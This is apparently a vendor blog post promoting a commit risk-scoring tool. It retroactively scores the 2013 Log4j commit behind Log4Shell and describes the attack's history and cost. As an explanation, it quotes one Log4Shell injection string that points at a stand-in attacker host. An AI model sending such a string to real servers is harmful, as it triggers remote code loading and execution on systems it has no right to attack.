The Log4Shell Commit Sat Undetected for 8 Years. Koalr Would Have Scored It 71.
On July 18, 2013, a contributor added JNDI lookup support to Apache Log4j as part of issue LOG4J2-313. It seemed like a reasonable feature for a logging library. Eight years later, that commit became Log4Shell — the most exploited vulnerability in a decade, costing organizations an average of $90,000 each to remediate. We ran our risk signals against the original commit.
Retroactive risk score: 71 / 100 — Warning
This is a retroactive analysis based on publicly available commit history and Apache issue tracker records. Koalr did not exist in 2013. A score of 71 would have triggered a warning flag and required a security review before merge — it would not have blocked the commit automatically. The vulnerability itself would not have been detected by Koalr. What would have been detected is that this commit warranted closer scrutiny than it received.
The commit that started it all
Log4Shell traces back to a single feature addition in version 2.0-beta9 of Apache Log4j, committed on July 18, 2013. The feature — a JNDILookup plugin — allowed the logging framework to perform JNDI (Java Naming and Directory Interface) lookups when processing log strings. On the surface, it was a reasonable extension of Log4j's lookup plugin architecture.
In practice, it meant that if an application logged user-controlled input — which virtually every web application does — an attacker could inject a string like ${jndi:ldap://attacker.com/a} and cause the server to make an outbound LDAP request, loading and executing arbitrary code from a remote server.
The vulnerability was privately disclosed to the Apache Software Foundation on November 24, 2021, by Chen Zhaojun of Alibaba Cloud. Within 24 hours of public disclosure on December 9, mass exploitation had begun.
The signals that fired
Koalr evaluates deployment risk, not security vulnerabilities. It cannot read code and identify that a JNDI lookup is exploitable. What it can do is surface signals that indicate a commit needs more scrutiny than the standard review process provides.
On the 2013 commit, four signals elevated the risk score to 71:
| Signal | Category | Score impact |
|---|---|---|
| Network I/O capability added to a pure logging library | Change characteristics | +28 |
| No security-focused reviewer required (CODEOWNERS gap) | Code ownership | +18 |
| Blast radius: library already embedded in thousands of applications | Dependency risk | +14 |
| No test coverage for edge cases with external input | Change characteristics | +11 |
| Total risk score | 71 | |
The most important signal: network I/O in a logging library
The highest-weighted signal is not about the code itself — it is about the nature of the change relative to the project's existing scope.
Log4j is a logging library. Its job is to write structured records to files, streams, and aggregators. Adding a feature that causes the logging library to make outbound network connections based on the content of log messages is a significant expansion of the library's attack surface. It is the kind of change that benefits from a conversation that begins: "do we really want a logging library to make network requests based on untrusted input?"
That conversation did not happen in 2013. The feature was committed, reviewed, and merged as a standard plugin addition.
The ownership gap
Apache Software Foundation projects in 2013 did not require security-focused reviewers on commits that added new network capabilities. There was no CODEOWNERS equivalent that would have routed this commit to someone who specialised in input validation or injection vulnerabilities.
This is not a criticism of the Apache contributors involved. The JNDI lookup feature was not obviously dangerous by the standards of 2013. But a mandatory security review gate for commits that expand network I/O capabilities would have created the opportunity to ask the right questions.
Why 71 and not higher
The event-stream incident scored 94. Log4Shell scores 71. The difference matters.
Event-stream involved a new contributor with no history taking over a high-impact package and immediately adding an unvetted dependency — every major risk signal fired simultaneously. Log4Shell involved a legitimate, experienced contributor making what appeared to be a reasonable feature addition to a mature project.
A score of 71 reflects that reality. It is not a block — it is a warning. Koalr's model does not assume malicious intent. It surfaces commits that carry unusual characteristics relative to the project's baseline and routes them toward additional review.
In this case, the additional review that the score would have triggered — specifically, a security review of a commit that added outbound network capability based on log message content — is precisely the review that might have caught the vulnerability.
Eight years is a long time for a conversation not to happen
Log4Shell was not discovered for eight years. During that time, Log4j was embedded in an estimated 3 billion devices. Apple, Amazon, Cloudflare, Steam, Twitter — virtually every significant piece of internet infrastructure used Log4j.
The remediation cost per organisation averaged $90,000. One US federal department devoted 33,000 engineering hours to the response. 48% of cybersecurity teams gave up holiday time and weekends. A year after disclosure, 72% of organisations were still vulnerable.
All of it traces back to a commit in July 2013 that added a feature nobody thought to question at the time.
What Koalr would and would not have done
It is important to be precise about this.
Koalr is not a static analysis tool. It would not have read the JNDI lookup implementation and identified that user-controlled input could be passed to an LDAP resolver. That is the job of a SAST tool or a security-focused code reviewer.
What Koalr would have done is flag this commit as scoring above the warning threshold and route it to a security review gate before merge. The security reviewer — prompted specifically because the commit adds outbound network capability to a logging library — is the one who would have identified the vulnerability.
Risk scoring is not a replacement for security expertise. It is a system for ensuring that security expertise is applied to the commits that need it most, before they reach production.
Every high-risk commit deserves a conversation before it merges
Koalr scores every pull request 0–100 and posts the result as a native GitHub Check Run. Warning-threshold commits automatically require an additional reviewer. No signup required — installs in 30 seconds.
Sources: Log4Shell — Wikipedia · Cloudflare: Inside the Log4j2 vulnerability · Arctic Wolf: Log4Shell retrospective